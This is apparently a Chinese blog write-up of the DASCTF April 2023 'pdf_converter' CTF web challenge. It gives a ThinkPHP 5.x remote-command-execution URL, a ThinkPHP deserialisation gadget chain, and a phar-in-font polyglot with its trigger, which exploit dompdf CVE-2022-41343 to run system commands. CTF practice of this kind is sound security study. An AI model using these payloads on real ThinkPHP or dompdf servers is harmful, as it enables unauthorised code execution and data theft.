DASCTF Apr.2023 X SU战队2023开局之战-pdf_converter(_revenge)web-wp
继续刷题ing~
这次是追溯到今年四月的这个DASCTF首赛,闲来无事就看看打打复现啥的,争取多积累几个解题姿势。但后面题环境开不了,就先没打复现,难绷。
pdf_converter(_revenge)
进去感觉像Thinkphp,用个以前做过的报错payload试试能不能出版本:
/index.php?s=captcha
还真是。
直接去搜V5的RCE漏洞,一搜一大把,结果这个是非预期解,反斜杠实例化任意类直接出了:
ThinkPHP 5.x远程命令执行漏洞分析与复现 - 渗透测试中心 - 博客园 (cnblogs.com)
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
怪不得这么多人做出来。
revenge应该就是把这个非预期解ban掉了,看了看官方wp的预期解:官方Write Up|DASCTF Apr.2023 X SU战队2023开局之战 | CTF导航 (ctfiot.com)
用的thinkphp5+dompdf
漏洞是CVE-2022-41343:CVE-2022-41343 - RCE via Phar Deserialisation (tantosec.com)
有个pdf路由可以将html渲染成任意pdf文件。dompdf有专门对css格式做处理。
下载源码附件后,这里看到
dompdf/src/FontMetrics.php
当在css中注册font时,会将内容的缓存写到文件里:
这个目录为dompdf/lib/fonts,并且文件名可控
例如 我们传入
<style> @font-face { font-family:'exploit'; src:url('data:text/plain;base64,exp'); font-weight:'normal'; font-style:'normal'; } </style>
则文件名为
exploit_norml_md5(data:text/plain;base64,exp).ttf
这里就有一个打phar反序列化的思路:
在dompdf/src/FontMetrics.php的registerFont方法里:
可以看到,虽然对协议有一些校验,但是没有return,只是报了warings,所以相当于没有校验,会来到下面@Helpers::getFileContent
在dompdf/src/Helpers.php里:
很明显可以看到触发phar的地方。
但是注意的是,dompdf对字体文件头还是有校验的:
如果不符合ttf文件格式则直接return false。
这里可以用如下脚本生成一个font文件头:
import fontforge import os import sys import tempfile from typing import Optional def main(): sys.stdout.buffer.write(do_generate_font()) def do_generate_font() -> bytes: fd, fn = tempfile.mkstemp(suffix=".ttf") os.close(fd) font = fontforge.font() font.copyright = "DUMMY FONT" font.generate(fn) with open(fn, "rb") as f: res = f.read() os.unlink(fn) result = res return result if __name__ == "__main__": main()
将结果保存在font.ttf
然后在生成phar文件的时候,添加$phar->setStub(file_get_contents("font.ttf").'<?php __HALT_COMPILER(); ?>');
<?php namespace thinkprocesspipes{ use thinkmodelPivot; ini_set('display_errors',1); class Windows{ private $files = []; public function __construct($function,$parameter) { $this->files = [new Pivot($function,$parameter)]; } } // $aaa = new Windows('system','whoami'); // echo base64_encode(serialize($aaa)); } namespace think{ abstract class Model {} } namespace thinkmodel{ use thinkModel; use thinkconsoleOutput; class Pivot extends Model { protected $append = []; protected $error; public $parent; public function __construct($function,$parameter) { $this->append['jelly'] = 'getError'; $this->error = new relationBelongsTo($function,$parameter); $this->parent = new Output($function,$parameter); } } abstract class Relation {} } namespace thinkmodelrelation{ use thinkdbQuery; use thinkmodelRelation; abstract class OneToOne extends Relation {} class BelongsTo extends OneToOne { protected $selfRelation; protected $query; protected $bindAttr = []; public function __construct($function,$parameter) { $this->selfRelation = false; $this->query = new Query($function,$parameter); $this->bindAttr = ['']; } } } namespace thinkdb{ use thinkconsoleOutput; class Query { protected $model; public function __construct($function,$parameter) { $this->model = new Output($function,$parameter); } } } namespace thinkconsole{ use thinksessiondriverMemcache; class Output { protected $styles = []; private $handle; public function __construct($function,$parameter) { $this->styles = ['getAttr']; $this->handle = new Memcache($function,$parameter); } } } namespace thinksessiondriver{ use thinkcachedriverMemcached; class Memcache { protected $handler = null; protected $config = [ 'expire' => '', 'session_name' => '', ]; public function __construct($function,$parameter) { $this->handler = new Memcached($function,$parameter); } } } namespace thinkcachedriver{ use thinkRequest; class Memcached { protected $handler; protected $options = []; protected $tag; public function __construct($function,$parameter) { // pop链中需要prefix存在,否则报错 $this->options = ['prefix' => 'jelly/']; $this->tag = true; $this->handler = new Request($function,$parameter); } } } namespace think{ class Request { protected $get = []; protected $filter; public function __construct($function,$parameter) { $this->filter = $function; $this->get = ["jelly"=>$parameter]; } } } namespace{ $a = new thinkprocesspipesWindows('system','cat /flag > /var/www/html/public/1.txt'); @unlink("test.phar"); $phar = new Phar('test.phar'); $phar->stopBuffering(); $phar->setStub(file_get_contents("font.ttf").'<?php __HALT_COMPILER(); ?>'); $phar->addFromString('test.txt', 'test'); $phar->setMetadata($a); $phar->stopBuffering(); echo base64_encode(file_get_contents("test.phar")); }
然后POST参数content:
<style>@font-face { font-family:'exploit'; src:url('data:text/plain;base64,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'); font-weight:'normal'; font-style:'normal';}</style>
<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_c87547a55b2617089f8e2d413c207323.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>
写文件那里改成bash反弹shell应该也是可以的。
也可以看大佬师傅的详细操作:DASCTF Apr.2023 X SU Writeup By AheadSec_末 初的博客-CSDN博客
反正如果是我目前的水平,肯定是做不出预期解的解法的😭😭😭😭
还有道题目ezjxpath,漏洞点是CVE-2022-41852:CVE-2022-41852 Apache Commons Jxpath命令执行漏洞分析 - FreeBuf网络安全行业门户
具体复现我也没去打,因为Java安全这块确实没怎么入门,最多0xGame复现了一些,不过这也让我知道后面有时间确实需要关注一下Java安全这块。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通